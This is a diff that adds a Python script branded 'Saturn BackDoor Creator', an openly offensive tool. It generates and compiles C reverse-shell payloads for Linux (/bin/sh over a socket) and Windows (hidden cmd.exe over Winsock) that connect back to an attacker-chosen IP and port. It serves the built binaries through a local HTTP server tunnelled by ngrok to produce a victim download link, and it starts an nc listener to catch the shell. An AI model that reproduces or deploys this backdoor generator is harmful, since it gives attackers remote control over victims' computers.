|
| 1 | +#!/usr/bin/env python3 |
| 2 | +# -*- coding: utf-8 -*- |
| 3 | +from subprocess import check_output |
| 4 | +from time import sleep |
| 5 | +import os |
| 6 | +import sys |
| 7 | +import http.server |
| 8 | +import socket |
| 9 | +import re |
| 10 | + |
| 11 | + |
| 12 | +def main(): |
| 13 | + |
| 14 | + print (""" _.oo. |
| 15 | + _.u[[/;:,. .odMMMMMM' |
| 16 | + .o888UU[[[/;:-. .o@P^ MMM^ |
| 17 | + oN88888UU[[[/;::-. dP^ |
| 18 | + dNMMNN888UU[[[/;:--. .o@P^ |
| 19 | + ,MMMMMMN888UU[[/;::-. o@^ |
| 20 | + NNMMMNN888UU[[[/~.o@P^ |
| 21 | + 888888888UU[[[/o@^-.. |
| 22 | + oI8888UU[[[/o@P^:--.. |
| 23 | + .@^ YUU[[[/o@^;::---.. |
| 24 | + oMP ^/o@P^;:::---.. |
| 25 | + .dMMM .o@^ ^;::---... |
| 26 | + dMMMMMMM@^` `^^^^ |
| 27 | +YMMMUP^ |
| 28 | + ^^ |
| 29 | +\033[1;36m |
| 30 | +███████╗ █████╗ ████████╗██╗ ██╗██████╗ ███╗ ██╗ |
| 31 | +██╔════╝██╔══██╗╚══██╔══╝██║ ██║██╔══██╗████╗ ██║ |
| 32 | +███████╗███████║ ██║ ██║ ██║██████╔╝██╔██╗ ██║ |
| 33 | +╚════██║██╔══██║ ██║ ██║ ██║██╔══██╗██║╚██╗██║ |
| 34 | +███████║██║ ██║ ██║ ╚██████╔╝██║ ██║██║ ╚████║ |
| 35 | +╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ |
| 36 | + \033[1;36m \|BackDoor Creator |/ |
| 37 | +""") |
| 38 | + |
| 39 | + |
| 40 | +def banner(): |
| 41 | + |
| 42 | + print (""" |
| 43 | + \033[1;36m [\033[1;39m1\033[1;36m] Linux (Recemended) |
| 44 | + [\033[1;39m2\033[1;36m] Windows (Harder to use) |
| 45 | + [\033[1;39m3\033[1;36m] Listen (Connect to a port) |
| 46 | + [\033[1;39m4\033[1;36m] Exit (Stop this software) |
| 47 | +""") |
| 48 | + |
| 49 | + options = input( "\033[1;39m[Option]-->\033[1;39m") |
| 50 | + |
| 51 | + |
| 52 | +#linux |
| 53 | + if(options == '1'): |
| 54 | + |
| 55 | + host = input("\n\033[1;36mIP: \033[1;39m" ) |
| 56 | + port = input("\n\033[1;36mPORT: \033[1;39m" ) |
| 57 | + linux_shell(host, port) |
| 58 | + os.system("gcc .linux.c -o Saturn-Linux -pthread && rm -rf .linux.c") |
| 59 | + os.system("chmod +x Saturn-Linux") |
| 60 | + print("\n\033[1;36mFile Saved > \033[1;39mSaturn-Linux") |
| 61 | + #http.server 80 |
| 62 | + os.system("python3 -m http.server 80 > .server 2> /dev/null &") |
| 63 | + os.system("chmod +x ngrok") |
| 64 | + name1="/Saturn-Linux" |
| 65 | + portN=80 |
| 66 | + os.system("./ngrok http {} > /dev/null &".format(portN)) |
| 67 | + sleep(8) |
| 68 | + os.system('curl -s -N http://127.0.0.1:4040/api/tunnels | grep "https://[0-9a-z]*\.ngrok.io" -oh > link2.url') |
| 69 | + urlFile = open('link2.url', 'r') |
| 70 | + url = urlFile.read() |
| 71 | + urlFile.close() |
| 72 | + if re.match("https://[0-9a-z]*\.ngrok.io", url) != None: |
| 73 | + print("\n\033[1;36mLINK : \033[1;39m",url+name1) |
| 74 | + |
| 75 | + print(" ") |
| 76 | + |
| 77 | +#windows |
| 78 | + if(options == '2'): |
| 79 | + |
| 80 | + |
| 81 | + host = input( "\n\033[1;36mIP: \033[1;39m" ) |
| 82 | + port = input("\n\033[1;36mPORT: \033[1;39m" ) |
| 83 | + windows_reverse(host, port) |
| 84 | + os.system("/usr/bin/i686-w64-mingw32-gcc .windows.c -o Saturn-Windows.exe -lws2_32 && rm -rf .windows.c") |
| 85 | + print("\n\033[1;36mFile Saved > \033[1;39mSaturn-Windows") |
| 86 | + |
| 87 | + #http.server 80 |
| 88 | + os.system("python3 -m http.server 80 > .server 2> /dev/null &") |
| 89 | + os.system("chmod +x ngrok") |
| 90 | + name2="/Saturn-Windows.exe" |
| 91 | + portN=80 |
| 92 | + os.system("./ngrok http {} > /dev/null &".format(portN)) |
| 93 | + sleep(8) |
| 94 | + os.system('curl -s -N http://127.0.0.1:4040/api/tunnels | grep "https://[0-9a-z]*\.ngrok.io" -oh > link2.url') |
| 95 | + urlFile = open('link2.url', 'r') |
| 96 | + url = urlFile.read() |
| 97 | + urlFile.close() |
| 98 | + if re.match("https://[0-9a-z]*\.ngrok.io", url) != None: |
| 99 | + print("\n\033[1;36mLINK : \033[1;39m",url+name2) |
| 100 | + |
| 101 | + print(" ") |
| 102 | + |
| 103 | + if(options == '3'): |
| 104 | + port=input("\n\033[1;36mPORT: \033[1;39m") |
| 105 | + print("\n\033[1;36mWait Connection ...\n") |
| 106 | + os.system("nc -l %s" %port) |
| 107 | + print("\033[1;36m") |
| 108 | + |
| 109 | + if(options == '4'): |
| 110 | + sys.exit() |
| 111 | + os.system("fuser -k -n tcp 80") # kill port 80 |
| 112 | + |
| 113 | + |
| 114 | + else : |
| 115 | + banner() |
| 116 | + |
| 117 | + |
| 118 | + |
| 119 | + |
| 120 | + |
| 121 | +def linux_shell(host, port): |
| 122 | + |
| 123 | + with open(".linux.c", "w") as file: |
| 124 | + file.write(''' |
| 125 | +#include <stdio.h> |
| 126 | +#include <unistd.h> |
| 127 | +#include <sys/socket.h> |
| 128 | +#include <arpa/inet.h> |
| 129 | + |
| 130 | +int main (int argc, char **argv) |
| 131 | +{ |
| 132 | + int scktd; |
| 133 | + struct sockaddr_in client; |
| 134 | + |
| 135 | + client.sin_family = AF_INET; |
| 136 | + client.sin_addr.s_addr = inet_addr("%s"); |
| 137 | + client.sin_port = htons(%s); |
| 138 | + scktd = socket(AF_INET,SOCK_STREAM,0); |
| 139 | + connect(scktd,(struct sockaddr *)&client,sizeof(client)); |
| 140 | + dup2(scktd,0); // STDIN |
| 141 | + dup2(scktd,1); // STDOUT |
| 142 | + dup2(scktd,2); // STDERR |
| 143 | + execl("/bin/sh","sh","-i",NULL,NULL); |
| 144 | + return 0; |
| 145 | +} |
| 146 | +''' % (host, port)) |
| 147 | + |
| 148 | + |
| 149 | +def windows_reverse(host, port): |
| 150 | + with open(".windows.c", "w") as file: |
| 151 | + file.write(''' |
| 152 | +#include <winsock2.h> |
| 153 | +#include <stdio.h> |
| 154 | +#define _WINSOCK_DEPRECATED_NO_WARNINGS |
| 155 | +#pragma comment(lib,"ws2_32") |
| 156 | + WSADATA wsaData; |
| 157 | + SOCKET Winsock; |
| 158 | + SOCKET Sock; |
| 159 | + struct sockaddr_in hax; |
| 160 | + char ip_addr[16]; |
| 161 | + STARTUPINFO ini_processo; |
| 162 | + PROCESS_INFORMATION processo_info; |
| 163 | +//int main(int argc, char *argv[]) |
| 164 | +int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdParam, int iCmdShow) |
| 165 | +{ |
| 166 | + FreeConsole(); |
| 167 | + WSAStartup(MAKEWORD(2,2), &wsaData); |
| 168 | + Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); |
| 169 | + |
| 170 | + struct hostent *host; |
| 171 | + host = gethostbyname("'''+host+'''"); |
| 172 | + strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr))); |
| 173 | + hax.sin_family = AF_INET; |
| 174 | + hax.sin_port = htons(atoi("'''+port+'''")); |
| 175 | + hax.sin_addr.s_addr = inet_addr(ip_addr); |
| 176 | + WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL); |
| 177 | + memset(&ini_processo,0,sizeof(ini_processo)); |
| 178 | + ini_processo.cb=sizeof(ini_processo); |
| 179 | + ini_processo.dwFlags=STARTF_USESTDHANDLES; |
| 180 | + ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock; |
| 181 | + CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,CREATE_NO_WINDOW,NULL,NULL,&ini_processo,&processo_info); |
| 182 | +} |
| 183 | +''') |
| 184 | + |
| 185 | + |
| 186 | +if __name__ == '__main__': |
| 187 | + main() |
| 188 | + |
| 189 | +banner() |
0 commit comments